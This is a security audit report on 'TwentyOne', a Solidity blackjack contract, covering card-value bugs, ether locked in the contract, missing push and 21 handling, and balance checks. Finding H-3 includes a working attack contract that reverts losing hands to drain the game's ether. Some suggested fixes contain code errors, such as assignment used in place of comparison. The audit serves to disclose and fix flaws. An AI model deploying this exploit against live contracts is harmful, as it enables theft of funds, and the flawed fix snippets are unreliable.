TwentyOne Security Audit Report by MK (16th DEC 2024)

High Risk Findings

[H-1] Incorrect Value Addition: Dealer K Card Adds 0 to Deck Instead of 10.

Description: When the `dealersHand` function is called, if a K card is drawn, the value added to the deck is 0 instead of 10, as required by blackjack rules.

The value of the K card is 13, 26, 39, or 52. When any of these values is divided by 13, the result is 0 due to the modulus operation (`% 13`). This causes an issue where the K card incorrectly returns a value of 0 instead of the expected 10.

Impact: This bug violates the fundamental rules of blackjack and undermines the fairness of the game. For example:

- The player stands with a total of 18.
- The dealer draws J(10) and K(10), which should total 20, resulting in a win for the dealer and a loss for the player.
- However, due to the bug, the calculation becomes J(10) + K(0) = 10. This forces the dealer to continue drawing cards unnecessarily, leading to unfair outcomes.

Proof of Concept: This happens because the following calculation:
`uint256 cardValue = dealersDeck[player].dealersCards[i] % 13;`
returns 0 for cards with values 13, 26, 39, or 52.

When the K card is drawn, it should return a value of 10, as it does in the player's draw function and in accordance with official blackjack rules. Currently, due to the modulus operation (`% 13`), it returns a value of 0, which causes an inconsistency in the game logic.

```
    function dealersHand(address player) public view returns (uint256) {
        uint256 dealerTotal = 0;
        for (uint256 i = 0; i < dealersDeck[player].dealersCards.length; i++) {
            uint256 cardValue = dealersDeck[player].dealersCards[i] % 13;
            if (cardValue >= 10) {
                dealerTotal += 10;
            } else {
                dealerTotal += cardValue;
            }
        }
        return dealerTotal;
    }
```

Recommended Mitigation: To resolve this issue, the condition should be updated from `if (cardValue >= 10)` to `if (cardValue == 0 || cardValue >= 10)`. This ensures that K cards (13, 26, 39, 52) are correctly assigned a value of 10, aligning with the rules of blackjack, rather than mistakenly being assigned a value of 0.

Corrected Code Based on the Recommendation:

```
    function dealersHand(address player) public view returns (uint256) { // @audit
= K dont count / bad logic
        uint256 dealerTotal = 0;
        for (uint256 i = 0; i < dealersDeck[player].dealersCards.length; i++) {
            uint256 cardValue = dealersDeck[player].dealersCards[i] % 13;
            if (cardValue == 0 || cardValue >= 10) {
                dealerTotal += 10;
            } else {
                dealerTotal += cardValue;
            }
        }
        return dealerTotal;
    }
```

[H-2] Ether might get locked in Contract

Description: Ether can be locked in contract if dealers got high hand; as there is no requirement in the func. `endGame` to transfer ether to dealer.

Impact: Loss of Funds

Proof of Concept:

1. As we see the func. `call` logic,

```
if (dealerHand > 21) {
            emit PlayerWonTheGame(
                "Dealer went bust, players winning hand: ",
                playerHand
            );
            endGame(msg.sender, true);
        } else if (playerHand > dealerHand) {
            emit PlayerWonTheGame(
                "Dealer's hand is lower, players winning hand: ",
                playerHand
            );
            endGame(msg.sender, true);
        } else {
            emit PlayerLostTheGame(
                "Dealer's hand is higher, dealers winning hand: ",
                dealerHand
            );
            endGame(msg.sender, false);
```

```
        }
```

- now focus on `endGame` func. logic:

```
 if (playerWon) {
           payable(player).transfer(2 ether); // Transfer the prize to the player
           emit FeeWithdrawn(player, 2 ether); // Emit the prize withdrawal event
        }
```

2. Now the point is:

    - If the player won the game 2ether will be transfer to the player, but incase if the player lose the game the ether will be stuck in the contract, as there is no (require option) of transferring the funds to the dealer.
    - Also there is no withdraw function so the dealer can get the funds.

Recommended Mitigation:

1. add constructor to the contract and set owner:

```
constructor () {
        owner = msg.sender;
    }
```

2. add `onlyOwner` modifier:

```
    modifier onlyOwner() {
        require(msg.sender == owner, "not the contract's owner");
        _;
    }
```

3. lastly add a withdrawal function, such as:

```
 function withdrawRemainingEther(uint256 amount) public onlyOwner {
    require(address(this).balance >= amount, "Insufficient contract balance");
    (bool success, ) = owner.call{value: amount}("");
    require(success, "Withdrawal failed");
}
```

[H-3] Manipulation of Return value in `TwentyOne::startGame()`

Description: The `startGame()` function in the `TwentyOne.sol` contract returns the player's initial hand value as a `uint256`. This allows attackers to manipulate gameplay by reverting unfavorable transactions, ensuring they proceed only with advantageous hands. By using a custom attack contract, an attacker can drain the contract's funds with minimal loss.

Impact:

1. Win Rate: The attack enables the attacker to win with an artificially high probability.
2. Drain Speed: The contract balance can be drained in approximately **1,500–2,000 calls**, depending on the balance and win conditions.
3. Gas Costs: The attack incurs approximately **1,339,241 gas units** per reverted transaction, which is minimal compared to the contract's drained value.

Proof of Concept:

1. Attack Contract (`AttackTwentyOne.sol`)

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract AttackTwentyOne {
    error AttackTwentyOne__FailedCallStartGame();
    error AttackTwentyOne__FailedCallToCall();
    error AttackTwentyOne__RevertLessThen20(uint256 playerHand);

    uint256 private s_playerHand;
    uint256 private constant MAX_PLAYER_HAND = 20;
    address private immutable i_owner;
    address payable immutable i_twentyOneContract;

    constructor(address _twentyOneContract, address _owner) {
        i_twentyOneContract = payable(_twentyOneContract);
        i_owner = _owner;
    }

    receive() external payable {}

    function callTostartGameAndCall() external {
        (bool success, bytes memory data) = i_twentyOneContract.call{
            value: 1 ether
        }(abi.encodeWithSignature("startGame()"));

        if (!success) {
            revert AttackTwentyOne__FailedCallStartGame();
        }

        s_playerHand = abi.decode(data, (uint256));
```

```
        if (s_playerHand < MAX_PLAYER_HAND) {
            revert AttackTwentyOne__RevertLessThen20(s_playerHand);
        }

        (bool success2, ) = i_twentyOneContract.call(
            abi.encodeWithSignature("call()")
        );
        if (!success2) {
            revert AttackTwentyOne__FailedCallToCall();
        }
    }

    function withdrawAll() external {
        require(msg.sender == i_owner, "Not Owner");
        payable(i_owner).transfer(address(this).balance);
    }
}
```

Testing Process

1. **Deployment:**
    - `TwentyOne.sol` deployed with an initial balance of 20 ETH.
    - `AttackTwentyOne.sol` deployed with an additional 2 ETH for gas and gameplay funding.
2. **Execution:**
    - Repeatedly called `callTostartGameAndCall()` using the attack contract.
    - Observed selective transaction reverts for unfavorable outcomes.
    - Contract balance depleted after ~1,800 calls.

Recommended Mitigation:

1. The `startGame()` function should not return the player's initial hand value, preventing attackers from accessing game state information during the initialization phase.

Fixed Code:

```
function startGame() public payable {
    require(
        address(this).balance >= 2 ether,
        "Not enough ether on contract to start game"
    );
    address player = msg.sender;
    require(msg.value == 1 ether, "start game only with 1 ether");

    initializeDeck(player);

    uint256 card1 = drawCard(player);
    uint256 card2 = drawCard(player);
    addCardForPlayer(player, card1);
```

```
        addCardForPlayer(player, card2);
    }
```

Medium Risk Findings

[M-1] Incorrect Handling of Exact 21 in hit() Function

Description: The `hit()` function in the smart contract does not properly handle the case where a player's hand reaches exactly 21 points. The function also allows players to draw a card when their hand is exactly 21, which should not be allowed, as 21 is the winning condition in Blackjack. Additionally, the function does not handle the scenario where a player wins by hitting exactly 21.

Impact: The current implementation prevents players from winning when their hand reaches exactly 21. Additionally, the function incorrectly allows players to hit if they have already reached a hand value of 21, which is against the rules of Blackjack. This could lead to inconsistent gameplay behavior, as the player is unable to win or finish the game properly once their hand reaches 21.

Proof of Concept: The function has two issues:

1. Players can hit after reaching 21: The `require(handBefore <= 21, "User is bust")` condition in the `hit()` function allows the player to hit when their hand is exactly 21. The condition should be modified to only allow players to hit if their hand is less than 21.

2. The player does not win with a hand of 21: After drawing a card, the function checks if the player's hand exceeds 21 (`if (handAfter > 21)`). However, it does not handle the case where the player's hand is exactly 21. In this case, the player should immediately win the game. The current logic only handles busting (over 21) and does not reward the player for achieving exactly 21.

Recommended Mitigation:

1. Modify the `require` statement to ensure that the player can only hit if their hand value is strictly less than 21. Update the code as follows:

```
require(handBefore < 21, "User is bust");
```

2. Add a condition to check whether the player's hand equals 21 after drawing a card, and handle it as a win. Update the relevant section of the code as follows:

```
if (handAfter == 21) {
    emit PlayerWonTheGame("Player wins with 21", handAfter);
    endGame(msg.sender, true);
} else if (handAfter > 21) {
    emit PlayerLostTheGame("Player is bust", handAfter);
    endGame(msg.sender, false);
```

```
  }
```

Implementing these changes will align the game's behavior with Blackjack rules. Specifically, it will prevent players from drawing additional cards when their hand is exactly 21 and will correctly recognize and reward a player who achieves a hand value of 21.

[M-2] BlackJack push not configured

Description: The push case isn't configured, if the dealer and the player have the same card, the player actually loose

Impact: Actually, if it's a push the player loose all of his eth

Proof of Concept: On the if else there is one else if missing where if the dealer hand and the player hand have the same number, the eth bet return to the player

Recommended Mitigation: Current code :

```
    // Determine the winner
    if (dealerHand > 21) {
        emit PlayerWonTheGame(
            "Dealer went bust, players winning hand: ",
            playerHand
        );
        endGame(msg.sender, true);
    } else if (playerHand > dealerHand) {
        emit PlayerWonTheGame(
            "Dealer's hand is lower, players winning hand: ",
            playerHand
        );
        endGame(msg.sender, true);
    } else {
        emit PlayerLostTheGame(
            "Dealer's hand is higher, dealers winning hand: ",
            dealerHand
        );
        endGame(msg.sender, false);
    }
}

    // Ends the game, resets the state, and pays out if the player won
    function endGame(address player, bool playerWon) internal {
        delete playersDeck[player].playersCards; // Clear the player's cards
        delete dealersDeck[player].dealersCards; // Clear the dealer's cards
        delete availableCards[player]; // Reset the deck
        if (playerWon) {
            payable(player).transfer(2 ether); // Transfer the prize to the player
            emit FeeWithdrawn(player, 2 ether); // Emit the prize withdrawal event
        }
    }
```

Correction :

```
event PlayerPush(string message, uint256 cardsTotal);

    // Determine the winner
    if (dealerHand > 21) {
        emit PlayerWonTheGame(
            "Dealer went bust, players winning hand: ",
            playerHand
        );
        endGame(msg.sender, true, false);
    } else if (playerHand > dealerHand) {
        emit PlayerWonTheGame(
            "Dealer's hand is lower, players winning hand: ",
            playerHand
        );
        endGame(msg.sender, true, false);
    } else if (playerHand = dealerHand){
      emit PlayerPush(
        "Dealer and Players hand are the same, push",
        playerHand
      )
      endGame(msg.sender, false, true)
    } else {
        emit PlayerLostTheGame(
            "Dealer's hand is higher, dealers winning hand: ",
            dealerHand
        );
        endGame(msg.sender, false, false);
    }
}

    // Ends the game, resets the state, and pays out if the player won
    function endGame(address player, bool playerWon, bool playerPush) internal {
        delete playersDeck[player].playersCards; // Clear the player's cards
        delete dealersDeck[player].dealersCards; // Clear the dealer's cards
        delete availableCards[player]; // Reset the deck
        if (playerWon) {
            payable(player).transfer(2 ether); // Transfer the prize to the player
            emit FeeWithdrawn(player, 2 ether); // Emit the prize withdrawal event
        }
       if (playerPush) {
         payable(player).transfer(1 ether); // Refund the player
         emit FeeWithdrawn(player, 1 ether); // Declare the refund on feewithdrawn
       }
    }
```

[M-3] Lack of Contract Balance Check Before Starting Game in Solidity

Description: The `startGame()` function of the `TwentyOne` contract fails to correctly manage and check contract balances, leading to issues with payouts. Specifically, the contract asserts that the player's balance should be greater than 2 ether after they win the game, but the contract balance is not checked or updated to reflect the payout properly. This can lead to a situation where, even if a player wins, they do not receive their intended funds.

Impact:

1. Player Payout Failure: If a player wins the game, they may not receive their winnings if the contract balance is not properly handled or updated, leading to a failed transaction.
2. Broken Game Logic: The failure to properly track and manage the contract balance impacts the core functionality of the game, which relies on payouts for correct operation.
3. Player Experience: Players may be confused or frustrated when they win but do not receive the expected payout, leading to a poor user experience.
4. Contract Malfunctions: This vulnerability undermines the contract's trustworthiness, as the payout mechanism is not fully reliable.

Proof of Concept: The assertion in the test case `assertGt(player2.balance, 2 ether);` fails because the contract doesn't properly manage the balance after the game.

1. The `startGame()` function may accept funds, but it doesn't ensure that the contract holds enough funds to cover payouts. In this scenario, even when a player wins the game, the contract balance is not checked, and the payout is not correctly made to the player.
2. The error occurs due to an imbalance between the contract's internal state and the external player's balance, causing the assertion to fail.

Recommended Mitigation: Implement a `require` on the `startGame()` to check that the contract balance is superior to the payout prize.

```
require(address(this).balance >= 2 ether, "The contract balance isn't enough for
the payout");
```

[M-4] Incorrect Logic for Dealer's Hand Fails to Follow Blackjack Rules for Stopping at 17

Description: The documentation claims that the official blackjack rules are followed, but the contract does not correctly implement the rule that the dealer must stand on 17.

In the `call` function, the `standThreshold` is generated by adding a random value between 0 and 4 to 17, resulting in a value between 17 and 21.

However, due to this logic, if the `standThreshold` is greater than 17 (i.e., 18, 19, 20, or 21), the dealer will continue drawing cards even if the dealer already has 17. This violates the blackjack rule that requires the dealer to stop drawing cards and stand once the dealer reaches 17, as the dealer should not draw any more cards if the dealer's hand equals 17

Impact: This issue completely alters the game's logic and breaks the official blackjack rules.

Here's one example:

1. The player stands with 17 and calls the function to have the dealer draw cards.
2. The dealer generates a stand threshold of 21, then the dealer draws cards (e.g., 10 + 9), bringing their total to 19. According to blackjack rules, the dealer should stop here and win, but since the stand threshold is set to 21, the dealer is forced to continue drawing cards. Statistically, it would be extremely difficult for the dealer to draw a 2 to continue winning, which forces the dealer into an unrealistic situation.

Proof of Concept:

1. The problem occurs when `uint256 standThreshold` generates a value greater than 17. When executing `while (dealersHand(msg.sender) < standThreshold)`, the dealer will continue drawing cards even though they should have stopped once their hand reaches 17.
2. This happens because the logic is configured to keep drawing cards until the dealer's hand value is equal to or exceeds the `standThreshold`, which can cause the dealer to continue drawing even after reaching 17.

```
    function call() public {
        require(
            playersDeck[msg.sender].playersCards.length > 0,
            "Game not started"
        );
        uint256 playerHand = playersHand(msg.sender);

        // Calculate the dealer's threshold for stopping (between 17 and 21)
        uint256 standThreshold = (uint256(
            keccak256(
                abi.encodePacked(block.timestamp, msg.sender, block.prevrandao)
            )
        ) % 5) + 17;

        // Dealer draws cards until their hand reaches or exceeds the threshold
        while (dealersHand(msg.sender) < standThreshold) {
            uint256 newCard = drawCard(msg.sender);
            addCardForDealer(msg.sender, newCard);
        }

        uint256 dealerHand = dealersHand(msg.sender)
```

Recommended Mitigation: Change the entire logic of the function so that when the dealer's hand reaches a value greater than or equal to 17, they stand and the rest of the function executes to determine the result.

[M-5] Design flaw in game logic

Description: After the contract was deployed, it starts with a balance of 0 ETH. When a player begins a game and wins instantly, the balance may be insufficient to pay out, as the contract's only available balance is the

original wager of 1 ETH. Additionally, due to variance, there are scenarios where the contract's balance can drop below 1 ETH, even when it is adequately funded.

To address this issue, I conducted a Monte Carlo simulation, which indicated that an initial funding of approximately 50 ETH is necessary to ensure the contract does not fall victim to variance in 99% of cases. Increasing the initial funding further can help reduce the likelihood of the contract's balance dropping below 1 ETH.

Impact: When the contracts balance is under 1 ETH, the contract fails to payout the player, therefore greatly impacting the contracts desired functionality.

Recommended Mitigation: Modify the constructor to require an initial `msg.value` corresponding to the desired initial funding. Additionally, to further safeguard the contract against unlikely scenarios where the balance may be insufficient, include a check in the `TwentyOne::startGame()` function to ensure that the contract's balance remains above 1 ETH.

`TwentyOne::constructor()` example:

```
error InsufficientFunding();
constructor() payable{
    if(msg.value < 50 ether){
        revert InsufficientFunding();
    }
}
```

`TwentyOne::startGame()`example:

```
function startGame() public payable returns (uint256) {
    require(address(this).balance >= 1 ether, "contract does not possess enough
ether");
    address player = msg.sender;
    require(msg.value >= 1 ether, "not enough ether sent");
    initializeDeck(player);
    uint256 card1 = drawCard(player);
    uint256 card2 = drawCard(player);
    addCardForPlayer(player, card1);
    addCardForPlayer(player, card2);
    return playersHand(player);
}
```

PoC: The flaw is trivial to discover when running the `test_Call_PlayerWins()` test, in which your team seemed to have overseen that the test fails. To really make sure that the root cause of the failing test is an insufficient contract Balance. I added the following line to the tests set-up to fund the contract:

```
vm.deal(address(twentyOne), 10 ether);
```

Now we can observe that the contract is not failing anymore but passes.

Low Risk Findings

[L-1] Dynamic Ace Value Miscalculation in playersHand Function

Description: The `playersHand` function in the `TwentyOne` contract does not handle Ace cards (`cardValue = 1`) correctly. It fails to dynamically adjust the value of the Ace between `1` and `11` based on the current total score. This leads to inaccurate hand totals, which can affect game outcomes.

Impact:

1. Gameplay Disruption: Players may lose unfairly because their hand totals are miscalculated.
2. Deviation from Rules: The contract does not align with the standard rules of Blackjack, where Aces are dynamic in value.
3. Player Confidence: Misleading results can erode trust in the game's fairness and the contract's reliability.

Proof of Concept:

1. Location: The issue occurs in the `playersHand` function when iterating through the player's cards and calculating the total hand value.
2. Cause: Ace cards are always treated as having a value of `1`. There is no logic to assign the value `11` to an Ace when it benefits the player (i.e., when the total score does not exceed 21).

- Code Snippet:

```
  if (cardValue == 0 || cardValue >= 10) {
      playerTotal += 10;
  } else {
      playerTotal += cardValue;
  }
```

```
* The code lacks a mechanism to dynamically adjust Ace values (`1` or `11`).
* No consideration for reducing Ace values from `11` to `1` if the total score
exceeds `21`.
```

Recommended Mitigation: Dynamic Ace Handling: Implement logic to adjust Ace values between `1` and `11` based on the total score:

```
* Initially assign `11` to an Ace.
* Reduce the Ace value to `1` only if the total score exceeds `21`.
```

1. Refactored Code:

```
    function playersHand(address player) public view returns (uint256) {\
    uint256 playerTotal = 0;\
    uint256 aceCount = 0; // Track the number of Aces


    for (uint256 i = 0; i < playersDeck[player].playersCards.length; i++) {
        uint256 cardValue = playersDeck[player].playersCards[i] % 13;

        if (cardValue == 0 || cardValue >= 10) {
            playerTotal += 10; // Face cards are worth 10
        } else if (cardValue == 1) {
            aceCount++;
            playerTotal += 11; // Initially treat Ace as 11
        } else {
            playerTotal += cardValue; // Numeric cards retain their value
        }
    }

    // Adjust Aces if total exceeds 21
    while (playerTotal > 21 && aceCount > 0) {
        playerTotal -= 10; // Convert one Ace from 11 to 1
        aceCount--;
    }

    return playerTotal;



    }
```

1. Testing Scenarios:
    - Input: Player's hand = `[1, 10, 9]`.
    - Expected Output: Total = `1 (Ace) + 10 + 9 = 20` (Ace is treated as `1`).
    - Input: Player's hand = `[1, 8]`.
    - Expected Output: Total = `11 (Ace) + 8 = 19` (Ace is treated as `11`).
2. Automated Testing: Add unit tests to cover all scenarios involving Aces to ensure correctness.

By addressing this issue, the `playersHand` function will accurately calculate scores, aligning the contract's behavior with the expected rules of Blackjack.

[L-2] Outdated Solidity version

Description: The solidity version 0.8.13 doesn't support block.prevrandao

Impact: The compiler will throw an error.

Proof of Concept:

1. Vulnerability Details In twentyOne::drawcard function

```
uint256 randomIndex = uint256(
           keccak256(
               abi.encodePacked(block.timestamp, msg.sender, block.prevrandao) //-
->> It will throw an error
           )
       ) % availableCards[player].length;
```

Recommended Mitigation: Use newer versions of solidity Eg: ^0.8.20

[L-3] The `TwentyOne::getDealerCards` and the `TwentyOne::dealersHand` functions will always return an empty array and zero respectively, wrongly informing players of the dealer's position

Description: The `getDealerCards` and the `dealersHand` functions never return the dealer's position. This is because the dealer's hand and cards are both set and reset when a player calls `TwentyOne::call`. This means that all players never get any information about the dealer's position, completely usurping the rules of classic blackjack where players have partial information on the dealer's position.

Impact: All players end up playing an unfair game, not aligned with the rules of classic blackjack.

Proof of Concept:

1. Place the below code into `TwentyOneTest` in `TwentyOne.t.sol`

```
function testDealerPositionFunctionsNeverReturnActualDealerPosition() public {
        vm.deal(address(twentyOne), 2 ether);

        //Call startGame as player1
        vm.startPrank(player1);
        twentyOne.startGame{value: 1 ether}();

        uint256[] memory dealerCards = twentyOne.getDealerCards(player1);
        uint256 dealersHand = twentyOne.dealersHand(player1);
        uint256[] memory emptyArray;

        console.log("Dealer hand: ", dealersHand);
        assertEq(dealerCards, emptyArray);
        assertEq(dealersHand, 0);

        //After calling call, values remain unchanged
        twentyOne.call();

        dealerCards = twentyOne.getDealerCards(player1);
        dealersHand = twentyOne.dealersHand(player1);

        console.log("Dealer hand: ", dealersHand);
        assertEq(dealerCards, emptyArray);
        assertEq(dealersHand, 0);
```

```
        vm.stopPrank();
    }
```

Recommended Mitigation:

1. The protocol should consider updating their documentation to clearly state that `TwentyOne` is a variant of classic blackjack, specifically one that doesn't give the players any information on the dealer's position. In addition, the misleading functions should be removed.

```
    .
    .
    .
-   function dealersHand(address player) public view returns (uint256) {
-       uint256 dealerTotal = 0;
-       for (uint256 i = 0; i < dealersDeck[player].dealersCards.length; i++) {
-           uint256 cardValue = dealersDeck[player].dealersCards[i] % 13;
-           if (cardValue >= 10) {
-               dealerTotal += 10;
-           } else {
-               dealerTotal += cardValue;
-           }
-       }
-       return dealerTotal;
-   }
    .
    .
    .

-   function getDealerCards(address player) public view returns (uint256[] memory)
{
-       return dealersDeck[player].dealersCards;
-   }
```